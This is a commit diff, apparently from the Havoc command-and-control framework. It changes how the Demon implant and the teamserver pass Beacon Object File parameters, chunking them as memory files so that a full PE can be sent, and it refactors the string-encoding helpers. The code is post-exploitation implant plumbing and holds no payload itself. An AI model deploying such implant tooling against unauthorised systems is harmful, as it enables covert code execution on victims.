chunk BOFs parameters

this is important because some BOFs such as
noconsolation can have an entire PE as parameter

payloads/Demon/Source/Core/Command.c

@@ -1121,28 +1121,49 @@ VOID CommandInlineExecute( PPARSER Parser )
 {
     UINT32    FunctionNameSize = 0;
     DWORD     ObjectDataSize   = 0;
+    PCHAR     ArgBuffer        = NULL;
     UINT32    ArgSize          = 0;
     PCHAR     ObjectData       = NULL;
-    PMEM_FILE MemFile          = NULL;
+    PMEM_FILE BofMemFile       = NULL;
+    PMEM_FILE ParamsMemFile    = NULL;
     UINT32    RequestID        = Instance.CurrentRequestID;
     PCHAR     FunctionName     = ParserGetString( Parser, &FunctionNameSize );
-    ULONG     MemFileID        = ParserGetInt32( Parser );
-    PCHAR     ArgBuffer        = ParserGetString( Parser, &ArgSize );
+    ULONG     BofFileID        = ParserGetInt32( Parser );
+    ULONG     ParamsFileID     = ParserGetInt32( Parser );
     INT32     Flags            = ParserGetInt32( Parser );
 
-    MemFile = GetMemFile( MemFileID );
-    if ( MemFile && MemFile->IsCompleted )
+    BofMemFile = GetMemFile( BofFileID );
+    if ( BofMemFile && BofMemFile->IsCompleted )
     {
-        ObjectData     = MemFile->Data;
-        ObjectDataSize = MemFile->Size;
+        ObjectData     = BofMemFile->Data;
+        ObjectDataSize = BofMemFile->Size;
     }
-    else if ( MemFile && ! MemFile->IsCompleted )
+    else if ( BofMemFile && ! BofMemFile->IsCompleted )
     {
-        PRINTF( "MemFile [%x] was not completed\n", MemFileID );
+        PRINTF( "BofMemFile [%x] was not completed\n", BofFileID );
+        goto CLEANUP;
     }
     else
     {
-        PRINTF( "MemFile [%x] not found\n", MemFileID );
+        PRINTF( "BofMemFile [%x] not found\n", BofFileID );
+        goto CLEANUP;
+    }
+
+    ParamsMemFile = GetMemFile( ParamsFileID );
+    if ( ParamsMemFile && ParamsMemFile->IsCompleted )
+    {
+        ArgBuffer = ParamsMemFile->Data;
+        ArgSize   = ParamsMemFile->Size;
+    }
+    else if ( ParamsMemFile && ! ParamsMemFile->IsCompleted )
+    {
+        PRINTF( "ParamsMemFile [%x] was not completed\n", ParamsFileID );
+        goto CLEANUP;
+    }
+    else
+    {
+        PRINTF( "ParamsMemFile [%x] not found\n", ParamsFileID );
+        goto CLEANUP;
     }
 
     switch ( Flags )
@@ -1180,7 +1201,9 @@ VOID CommandInlineExecute( PPARSER Parser )
         }
     }
 
-    RemoveMemFile( MemFileID );
+CLEANUP:
+    RemoveMemFile( BofFileID );
+    RemoveMemFile( ParamsFileID );
 }
 
 VOID CommandInjectDLL( PPARSER Parser )

teamserver/pkg/agent/demons.go

@@ -657,7 +657,8 @@ func (a *Agent) TaskPrepare(Command int, Info any, Message *map[string]string, C
 			ObjectFile   []byte
 			Parameters   []byte
 			Flags        uint32
-			MemFileId    uint32
+			BofFileId    uint32
+			ParamsFileId uint32
 			ok           bool
 		)
 
@@ -691,7 +692,9 @@ func (a *Agent) TaskPrepare(Command int, Info any, Message *map[string]string, C
 			}
 		}
 
-		MemFileId = a.UploadMemFileInChunks(ObjectFile)
+		BofFileId    = a.UploadMemFileInChunks(ObjectFile)
+		// a BOF can have an entire PE in its parameters, so chunk them
+		ParamsFileId = a.UploadMemFileInChunks(Parameters)
 
 		if FunctionName, ok = Optional["FunctionName"].(string); !ok {
 			return nil, errors.New("CoffeeLdr: FunctionName not defined")
@@ -722,8 +725,8 @@ func (a *Agent) TaskPrepare(Command int, Info any, Message *map[string]string, C
 
 		job.Data = []interface{}{
 			FunctionName,
-			MemFileId,
-			Parameters,
+			BofFileId,
+			ParamsFileId,
 			Flags,
 		}
 

teamserver/pkg/common/packer/packer.go

@@ -60,17 +60,11 @@ func (p *Packer) AddUInt32(data uint32) {
 }
 
 func (p *Packer) AddString(data string) {
-    var buffer = make([]byte, 4)
-    binary.LittleEndian.PutUint32(buffer, uint32(len(data)))
-    p.data = append(p.data, buffer...)
-    p.data = append(p.data, []byte(data)...)
-
-    p.size += 4
-    p.size += len(data)
+    p.AddBytes(common.EncodeUTF8(data))
 }
 
 func (p *Packer) AddWString(data string) {
-    p.AddString(common.EncodeUTF16(data))
+    p.AddBytes(common.EncodeUTF16(data))
 }
 
 func (p *Packer) AddBytes(data []byte) {

teamserver/pkg/common/util.go

@@ -115,7 +115,7 @@ func DecodeUTF16(b []byte) string {
 	return ret.String()
 }
 
-func EncodeUTF16(s string) string {
+func EncodeUTF16(s string) []byte {
 	var err error
 
 	// in C, strings terminate with a null-byte
@@ -126,10 +126,19 @@ func EncodeUTF16(s string) string {
 	encoded, err := uni.NewEncoder().String(s)
 	if err != nil {
 		logger.Error("Failed to convert UTF8 to UTF16")
-		return ""
+		return []byte("")
 	}
 
-	return encoded
+	return []byte(encoded)
+}
+
+func EncodeUTF8(s string) []byte {
+	// in C, strings terminate with a null-byte
+	if strings.HasSuffix(s, "\x00") == false {
+		s += "\x00"
+	}
+
+	return []byte(s)
 }
 
 func ByteCountSI(b int64) string {